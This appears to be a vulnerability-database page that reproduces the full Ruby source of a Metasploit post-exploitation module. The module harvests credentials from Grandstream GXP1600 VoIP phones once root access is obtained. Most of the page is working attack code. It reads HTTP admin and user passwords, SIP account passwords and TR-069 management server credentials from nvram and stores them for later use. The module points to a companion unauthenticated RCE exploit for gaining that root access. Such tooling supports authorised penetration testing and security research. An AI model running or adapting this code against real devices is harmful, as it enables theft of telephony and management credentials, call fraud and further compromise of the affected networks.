Lucene search
K

GrandStream GXP1600 Gather Credentials

🗓️ 24 Feb 2026 18:58:14Reported by sfewer-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 236 Views

Gathers HTTP, SIP, and TR-069 credentials from Grandstream GXP1600 devices after root access via exploit.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::Priv

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GrandStream GXP1600 Gather Credentials',
        'Description' => %q{
          This gather module works against Grandstream GXP1600 series VoIP devices and can collect HTTP, SIP, and TR-069
          credentials from a device. You can first leverage the `exploit/linux/http/grandstream_gxp1600_unauth_rce` exploit
          module to get a root session on a target GXP1600 series device before running this post module.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7'
        ],
        'Platform' => ['linux'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [],
          'RelatedModules' => [
            'exploit/linux/http/grandstream_gxp1600_unauth_rce',
            'post/linux/capture/grandstream_gxp1600_sip'
          ]
        }
      )
    )
  end

  # NOTE: All pvalue's are taken from the file /app/config/tr069/CpeDataModel.
  def run
    fail_with(Failure::NoTarget, 'Module cannot run against this target.') unless gxp1600?

    # Gather the creds for the phones web based management interface.
    http_users = [
      ['admin', 2],
      ['user', 196]
    ]

    http_users.each do |username, pvalue|
      password = cmd_exec("/usr/bin/nvram get #{pvalue}")
      next if password.blank?

      print_good("Gathered HTTP account #{username}:#{password}")

      store_valid_credential(
        user: username,
        private: password,
        private_type: :password,
        service_data: {
          origin_type: :service,
          address: rhost,
          port: rport,
          service_name: 'http',
          protocol: 'tcp'
        }
      )
    end

    # The GXP1600 series supports up to 6 SIP accounts, depending on the model.
    sip_accounts = {
      'AccountName' => [270, 417, 517, 617, 1717, 1817],
      'DisplayName' => [3, 407, 507, 607, 1707, 1807],
      'RegistrarServer' => [47, 402, 502, 602, 1702, 1802],
      'RegistrarServerPort' => [47, 402, 502, 602, 1702, 1802],
      'RegistrarServerTransport' => [130, 448, 548, 648, 1748, 1848],
      'AuthPassword' => [34, 406, 506, 606, 1706, 1806],
      'UserID' => [35, 404, 504, 604, 1704, 1804],
      'AuthUserName' => [36, 405, 505, 605, 1705, 1805]
    }

    num_accts = read_file('/proc/gxp/dev_info/hw_features/num_accts').to_i

    0.upto(num_accts - 1) do |account_idx|
      sip_account = {}

      sip_accounts.each do |pvalue_name, pvalue_array|
        sip_account[pvalue_name] = cmd_exec("/usr/bin/nvram get #{pvalue_array[account_idx]}")
      end

      sip_username = sip_account['AuthUserName']
      sip_username = sip_account['UserID'] if sip_username.blank?

      next if sip_username.blank?

      sip_server = sip_account['RegistrarServer']

      next if sip_server.blank?

      # The RegistrarServer and RegistrarServerPort may actually be the same value, i.e. "address:port" or they may be
      # two separate value, one for the address and the other for the port.
      # Leverage to_i to try and convert the RegistrarServerPort to an integer, this will only work if the port is
      # a separate value.

      # First try to split the address if its in address:port notation. If it is not, then sip_port will be nil.
      sip_server, sip_port = sip_server.split(':')

      # If we have an explicit RegistrarServerPort, try to get the integer value. If we fail, we default later
      # to a known port value.
      if sip_account['RegistrarServerPort'] != sip_account['RegistrarServer']
        sip_port = sip_account['RegistrarServerPort'].to_i
      end

      sip_protocol = nil
      sip_service = 'sip'

      case sip_account['RegistrarServerTransport']
      when '0'
        sip_protocol = 'udp'

        sip_port = 5060 if sip_port.blank?
      when '1'
        sip_protocol = 'tcp'

        sip_port = 5060 if sip_port.blank?
      when '2'
        sip_protocol = 'tcp'

        sip_service = 'sips'

        sip_port = 5061 if sip_port.blank?
      end

      print_good("Gathered SIP account <#{sip_service}:#{sip_username}@#{sip_server}:#{sip_port};transport=#{sip_protocol}> with a password of #{sip_account['AuthPassword']}")

      store_valid_credential(
        user: sip_username,
        private: sip_account['AuthPassword'],
        private_type: :password,
        service_data: {
          origin_type: :service,
          address: sip_server,
          port: sip_port,
          service_name: sip_service,
          protocol: sip_protocol
        }
      )
    end

    # TR-069 - Auto Configuration Server
    management = {
      'ServerURL' => 4503,
      'ServerUsername' => 4504,
      'ServerPassword' => 4505
    }

    management.each do |pvalue_name, pvalue|
      management[pvalue_name] = cmd_exec("/usr/bin/nvram get #{pvalue}")
    end

    unless management['ServerURL'].blank? || management['ServerUsername'].blank? || management['ServerPassword'].blank?
      print_good("Gathered TR-069 Auto Configuration Server account #{management['ServerUsername']}:#{management['ServerPassword']} for #{management['ServerURL']}")

      uri = nil

      begin
        if Rex::Socket.is_ip_addr? management['ServerURL']
          uri = URI.parse("http://#{management['ServerURL']}/")
        else
          uri = URI.parse(management['ServerURL'])
        end
      rescue URI::InvalidURIError
        print_error("Failed to parse the URI '#{management['ServerURL']}'")
      end

      unless uri.nil?
        store_valid_credential(
          user: management['ServerUsername'],
          private: management['ServerPassword'],
          private_type: :password,
          service_data: {
            origin_type: :service,
            address: Rex::Socket.getaddress(uri.host),
            port: uri.port,
            service_name: uri.scheme,
            protocol: 'tcp',
            realm_key: Metasploit::Model::Realm::Key::WILDCARD,
            realm_value: uri.path.blank? ? '/' : uri.path
          }
        )
      end
    end
  end

  def gxp1600?
    unless is_root?
      user = cmd_exec('/usr/bin/whoami')
      print_error("This module requires root permissions. Module running as \"#{user}\" user.")
      return false
    end

    unless file? '/usr/bin/nvram'
      print_error('nvram binary not found')
      return false
    end

    model_str = cmd_exec('/usr/bin/nvram get 89')

    # These 6 models all share the same firmware for the GXP1600 range.
    affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]

    unless affected_models.include? model_str
      print_error("Phone is not a GXP1600 model. Detected model \"#{model_str}\".")
      return false
    end

    print_status("Module running against phone model #{model_str}")
    true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation